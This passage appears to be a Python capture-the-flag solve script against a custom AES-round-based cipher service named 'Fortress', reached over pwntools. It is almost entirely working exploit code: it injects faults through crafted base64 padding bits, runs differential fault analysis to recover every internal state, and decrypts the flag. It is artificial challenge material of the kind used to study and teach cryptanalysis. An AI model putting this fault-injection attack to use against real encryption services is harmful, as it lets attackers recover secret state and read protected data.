0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16,
]
INV_SBOX = [
0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d,
]
FORTRESS_BLOCK_SIZE = 32
def __init__(self, host: str, port: int, binary: str):
self.host = host
self.port = port
self.binary = binary
self.test_plain = b'\x00' * 64
self.num_skip_round = 0
self.normal_enc = self.getEncryptedData(self.test_plain)
@staticmethod
def b64encode(data: bytes, paddingBits: int = 0) -> str:
encoded = ''
for i in range(0, len(data), 3):
block = data[i:i+3]
if len(block) == 3:
encoded += Fortress.B64_TABLE[block[0] >> 2]
encoded += Fortress.B64_TABLE[((block[0] & 0x03) << 4) | (block[1] >> 4)]
encoded += Fortress.B64_TABLE[((block[1] & 0x0f) << 2) | (block[2] >> 6)]
encoded += Fortress.B64_TABLE[block[2] & 0x3f]
elif len(block) == 2:
encoded += Fortress.B64_TABLE[block[0] >> 2]
encoded += Fortress.B64_TABLE[((block[0] & 0x03) << 4) | (block[1] >> 4)]
encoded += Fortress.B64_TABLE[((block[1] & 0x0f) << 2) | (paddingBits & 0x03)]
encoded += '='
else:
encoded += Fortress.B64_TABLE[block[0] >> 2]
encoded += Fortress.B64_TABLE[((block[0] & 0x03) << 4) | (paddingBits & 0x0f)]
encoded += '=='
return encoded
@staticmethod
def b64decode(data: str) -> bytes:
if isinstance(data, bytes):
data = data.decode()
decoded = bytearray()
for i in range(0, len(data), 4):
block = data[i:i+4]
if block[-2:] == '==':
block = [Fortress.B64_DECODE_TABLE[c] for c in block[:-2]]
decoded.append(((block[0] << 2) | (block[1] >> 4)) & 0xff)
elif block[-1] == '=':
block = [Fortress.B64_DECODE_TABLE[c] for c in block[:-1]]
decoded.append(((block[0] << 2) | (block[1] >> 4)) & 0xff)
decoded.append(((block[1] << 4) | (block[2] >> 2)) & 0xff)
else:
block = [Fortress.B64_DECODE_TABLE[c] for c in block]
decoded.append(((block[0] << 2) | (block[1] >> 4)) & 0xff)
decoded.append(((block[1] << 4) | (block[2] >> 2)) & 0xff)
decoded.append(((block[2] << 6) | block[3]) & 0xff)
return bytes(decoded)
@staticmethod
def mul(dt, n):
x = 0
i = 8
while i > 0:
x <<= 1
if x & 0x100:
x = (x ^ 0x1b) & 0xff
if n & i:
x ^= dt
i >>= 1
return x
@staticmethod
def mul1(value: int) -> int:
assert(abs(value) < 256)
return value
@staticmethod
def mul2(value: int) -> int:
assert(abs(value) < 256)
return Fortress.mul(value, 2)
@staticmethod
def mul3(value: int) -> int:
assert(abs(value) < 256)
return Fortress.mul(value, 3)
@staticmethod
def mul9(value: int) -> int:
assert(abs(value) < 256)
return Fortress.mul(value, 9)
@staticmethod
def mul11(value: int) -> int:
assert(abs(value) < 256)
return Fortress.mul(value, 11)
@staticmethod
def mul13(value: int) -> int:
assert(abs(value) < 256)
return Fortress.mul(value, 13)
@staticmethod
def mul14(value: int) -> int:
assert(abs(value) < 256)
return Fortress.mul(value, 14)
@staticmethod
def subBytes(state: bytes) -> bytes:
return bytes([Fortress.SBOX[b] for b in state])
@staticmethod
def shiftRows(state: bytes) -> bytes:
return bytes([
state[0], state[5], state[10], state[15],
state[4], state[9], state[14], state[3],
state[8], state[13], state[2], state[7],
state[12], state[1], state[6], state[11]
])
@staticmethod
def mixColumns(state: bytes) -> bytes:
state = bytearray(state)
for i in range(0, len(state), 4):
a = state[i]
b = state[i + 1]
c = state[i + 2]
d = state[i + 3]
state[i] = Fortress.mul2(a) ^ Fortress.mul3(b) ^ c ^ d
state[i + 1] = a ^ Fortress.mul2(b) ^ Fortress.mul3(c) ^ d
state[i + 2] = a ^ b ^ Fortress.mul2(c) ^ Fortress.mul3(d)
state[i + 3] = Fortress.mul3(a) ^ b ^ c ^ Fortress.mul2(d)
return bytes(state)
@staticmethod
def aesencIns(state: bytes) -> bytes:
state = Fortress.subBytes(state)
state = Fortress.shiftRows(state)
state = Fortress.mixColumns(state)
return state
@staticmethod
def invSubBytes(state: bytes) -> bytes:
return bytes([Fortress.INV_SBOX[b] for b in state])
@staticmethod
def invShiftRows(state: bytes) -> bytes:
return bytes([
state[0], state[13], state[10], state[7],
state[4], state[1], state[14], state[11],
state[8], state[5], state[2], state[15],
state[12], state[9], state[6], state[3]
])
@staticmethod
def invMixColumns(state: bytes) -> bytes:
state = bytearray(state)
for i in range(0, len(state), 4):
a = state[i]
b = state[i + 1]
c = state[i + 2]
d = state[i + 3]
state[i] = Fortress.mul14(a) ^ Fortress.mul11(b) ^ Fortress.mul13(c) ^ Fortress.mul9(d)
state[i + 1] = Fortress.mul9(a) ^ Fortress.mul14(b) ^ Fortress.mul11(c) ^ Fortress.mul13(d)
state[i + 2] = Fortress.mul13(a) ^ Fortress.mul9(b) ^ Fortress.mul14(c) ^ Fortress.mul11(d)
state[i + 3] = Fortress.mul11(a) ^ Fortress.mul13(b) ^ Fortress.mul9(c) ^ Fortress.mul14(d)
return bytes(state)
@staticmethod
def aesdecIns(state: bytes) -> bytes:
state = Fortress.invMixColumns(state)
state = Fortress.invShiftRows(state)
state = Fortress.invSubBytes(state)
return state
def setNumSkipRound(self, num_skip_round: int):
self.num_skip_round = num_skip_round
self.normal_enc = self.getEncryptedData(self.test_plain)
def getConnection(self):
if self.binary:
return process(self.binary)
return remote(self.host, self.port)
def getEncryptedData(self, data: bytes):
r = self.getConnection()
if self.num_skip_round:
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b': ')
r.sendline(Fortress.b64encode(b'\x00' * self.FORTRESS_BLOCK_SIZE).encode())
r.recvuntil(b': ')
r.recvline()
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b': ')
r.sendline(Fortress.b64encode(data).encode())
r.recvuntil(b': ')
enc = r.recvline().strip().decode()
r.close()
return Fortress.b64decode(enc)
def getFaultedData(self, data: bytes, state_location: int, xor_bit_location: int):
assert(0 <= state_location and state_location < 8)
assert(0 <= xor_bit_location and xor_bit_location < 128)
r = self.getConnection()
if self.num_skip_round:
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b': ')
r.sendline(Fortress.b64encode(b'\x00' * self.FORTRESS_BLOCK_SIZE).encode())
r.recvuntil(b': ')
r.recvline()
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b': ')
payload = b''
payload += data
payload += b'\x00' * ((len(data) % 3) + 1)
payload += int.to_bytes(xor_bit_location, 1)
r.sendline(Fortress.b64encode(payload, state_location | 0b1000).encode())
r.recvuntil(b': ')
enc = r.recvline().strip().decode()
r.close()
return Fortress.b64decode(enc)[:len(data)]
def getCandidates(self, diffs: list, coef_funcs: list, epsilon: int):
candidates = set()
for diff_index in range(len(diffs)):
for candidate in range(256):
diff = Fortress.SBOX[candidate] ^ Fortress.SBOX[candidate ^ epsilon]
if coef_funcs[diff_index](diff) == diffs[diff_index]:
candidates.add(candidate)
return candidates
def getCoefs(self, diffs: list):
coefs = [None] * 4
mul1_indices = []
for i in range(len(diffs)):
for j in range(i + 1, len(diffs)):
if diffs[i] == diffs[j]:
coefs[i] = Fortress.mul1
coefs[j] = Fortress.mul1
mul1_indices.append(i)
mul1_indices.append(j)
break
if len(mul1_indices) == 2:
break
other_indices = [i for i in range(4) if i not in mul1_indices]
for i in other_indices:
if Fortress.mul2(diffs[mul1_indices[0]]) == diffs[i]:
coefs[i] = Fortress.mul2
elif Fortress.mul3(diffs[mul1_indices[0]]) == diffs[i]:
coefs[i] = Fortress.mul3
return coefs
def recoverState(self, fault_state, diff_locations):
state = bytearray(16)
for byte_location in range(16):
diff_location = diff_locations[byte_location]
candidates = set(range(256))
faulted = self.getFaultedData(self.test_plain, fault_state, 8 * byte_location)
xored = xor(self.normal_enc, faulted)
diffs = [xored[i] for i in range(diff_location, diff_location + 4)]
coefs = self.getCoefs(diffs)
epsilon = 1 << 0
candidates &= self.getCandidates(diffs, coefs, epsilon)
faulted = self.getFaultedData(self.test_plain, fault_state, 8 * byte_location + 1)
xored = xor(self.normal_enc, faulted)
diffs = [xored[i] for i in range(diff_location, diff_location + 4)]
coefs = self.getCoefs(diffs)
epsilon = 1 << 1
candidates &= self.getCandidates(diffs, coefs, epsilon)
state[byte_location] = next(iter(candidates))
return bytes(state)
def recoverState1(self) -> bytes:
diff_locations = [
0, 12, 8, 4,
4, 0, 12, 8,
8, 4, 0, 12,
12, 8, 4, 0
]
return self.recoverState(1, diff_locations)
def recoverState5(self, state1: bytes) -> bytes:
state5 = xor(self.normal_enc[0:16], Fortress.aesencIns(state1))
return state5
def recoverState0XorState4(self) -> bytes:
diff_locations = [
16, 28, 24, 20,
20, 16, 28, 24,
24, 20, 16, 28,
28, 24, 20, 16
]
return self.recoverState(4, diff_locations)
def recoverState2(self, state0XorState4) -> bytes:
state2 = xor(self.normal_enc[16:32], Fortress.aesencIns(state0XorState4))
return state2
def recoverState3XorState7(self) -> bytes:
diff_locations = [
48, 60, 56, 52,
52, 48, 60, 56,
56, 52, 48, 60,
60, 56, 52, 48
]
return self.recoverState(3, diff_locations)
def recoverState6(self, state3XorState7: bytes, state1: bytes):
state6 = xor(xor(self.normal_enc[48:64], Fortress.aesencIns(state3XorState7)), state1)
return state6
def recoverState4(self):
diff_locations = [
32, 44, 40, 36,
36, 32, 44, 40,
40, 36, 32, 44,
44, 40, 36, 32
]
return self.recoverState(4, diff_locations)
def recoverState0(self, state0XorState4, state4):
state0 = xor(state0XorState4, state4)
return state0
def recoverState7(self):
self.setNumSkipRound(1)
nextState0XorState4 = self.recoverState0XorState4()
nextState4 = self.recoverState4()
nextState0 = self.recoverState0(nextState0XorState4, nextState4)
self.setNumSkipRound(0)
state7 = xor(nextState0, self.normal_enc[0:16])
return state7
def recoverState3(self, state3XorState7, state7):
c0 = self.normal_enc[0:16]
c1 = self.normal_enc[16:32]
state = bytearray(16)
state = xor(state, state3XorState7)
state = xor(state, c0)
state = xor(state, c1)
state = xor(state, state7)
return state
def getEncryptedFlag(self) -> bytes:
r = self.getConnection()
r.recvuntil(b'> ')
r.sendline(b'2')
r.recvuntil(b': ')
enc = r.recvline().strip().decode()
r.close()
return Fortress.b64decode(enc)
def getPrevState(self, state: list, c0: bytes, c1: bytes) -> list:
prev_state = [None] * 8
prev_state[7] = xor(state[0], c0)
prev_state[0] = Fortress.aesdecIns(xor(state[1], prev_state[7]))
prev_state[3] = xor(state[4], c1)
prev_state[4] = Fortress.aesdecIns(xor(state[5], prev_state[3]))
prev_state[5] = Fortress.aesdecIns(xor(state[6], prev_state[4]))
prev_state[6] = xor(state[7], prev_state[0])
prev_state[1] = xor(state[2], prev_state[6])
prev_state[2] = Fortress.aesdecIns(xor(state[3], prev_state[1]))
return prev_state
def getFlag(self, state: list) -> list:
assert(len(state) == 8)
enc_flag = self.getEncryptedFlag()
c0 = enc_flag[0:16]
c1 = enc_flag[16:32]
prev_state = self.getPrevState(state, c0, c1)
for i in range(len(prev_state)):
print(f'prev_state{i}: {prev_state[i].hex()}')
z0 = xor(Fortress.aesencIns(prev_state[1]), prev_state[5])
z1 = xor(Fortress.aesencIns(xor(prev_state[0], prev_state[4])), prev_state[2])
flag = b''
flag += xor(c0, z0)
flag += xor(c1, z1)
return flag
def exploit(self):
state = [None] * 8
state[1] = self.recoverState1()
print(f'[+] Recovered state1: {state[1].hex()}')
state[5] = self.recoverState5(state[1])
print(f'[+] Recovered state5: {state[5].hex()}')
state0XorState4 = self.recoverState0XorState4()
print(f'[+] Recovered state0 ^ state4: {state0XorState4.hex()}')
state[2] = self.recoverState2(state0XorState4)
print(f'[+] Recovered state2: {state[2].hex()}')
state3XorState7 = self.recoverState3XorState7()
print(f'[+] Recovered state3 ^ state7: {state3XorState7.hex()}')
state[6] = self.recoverState6(state3XorState7, state[1])
print(f'[+] Recovered state6: {state[6].hex()}')
state[4] = self.recoverState4()
print(f'[+] Recovered state4: {state[4].hex()}')
state[0] = self.recoverState0(state0XorState4, state[4])
print(f'[+] Recovered state0: {state[0].hex()}')
state[7] = self.recoverState7()
print(f'[+] Recovered state7: {state[7].hex()}')
state[3] = self.recoverState3(state3XorState7, state[7])
for i in range(len(state)):
print(f'[+] state{i}: {state[i].hex()}')
flag = self.getFlag(state)
print(f'[+] Flag: {flag.decode()}')
def main():
args = parse_args()
fortress = Fortress(args.host, args.port, args.binary)
fortress.exploit()
if __name__ == '__main__':
main()